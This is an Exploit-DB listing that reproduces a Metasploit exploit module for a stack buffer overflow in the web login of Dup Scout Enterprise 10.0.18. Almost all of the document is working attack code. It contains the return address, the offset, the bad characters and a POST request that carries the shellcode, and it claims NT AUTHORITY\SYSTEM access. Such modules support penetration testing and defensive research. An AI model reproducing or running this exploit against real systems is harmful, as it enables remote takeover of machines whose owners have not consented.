Dup Scout Enterprise - Login Buffer Overflow (Metasploit)

EDB-ID: 43339
Author: Metasploit
Published: 2017-12-14
CVE: N/A
Type: Remote
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF)
Vulnerable App: Download Vulnerable Application

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Dup Scout Enterprise Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Dup Scout Enterprise
10.0.18. The buffer overflow exists via the web interface during
login. This gives NT AUTHORITY\SYSTEM access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'sickness' # Original discovery
],
'References' =>
[
[ 'EDB', '43145' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d"
},
'Targets' =>
[
[ 'Dup Scout Enterprise 10.0.18',
{
'Ret' => 0x10090c83, # jmp esp - libspp.dll
'Offset' => 780
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Nov 14 2017',
'DefaultTarget' => 0))

register_options([Opt::RPORT(80)])

end

def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})

if res and res.code == 200 and res.body =~ /Dup Scout Enterprise v10\.0\.18/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
connect

print_status("Generating exploit...")

evil = rand_text(target['Offset'])
evil << [target.ret].pack('V')
evil << make_nops(12)
evil << payload.encoded
evil << make_nops(10000 - evil.length)

vprint_status("Evil length: " + evil.length.to_s)

sploit = "username="
sploit << evil
sploit << "&password="
sploit << rand_text(evil.length)
sploit << "\r\n"

print_status("Triggering the exploit now...")

res = send_request_cgi({
'uri' => '/login',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'content-length' => '17000',
'data' => sploit
})

handler
disconnect

end
end

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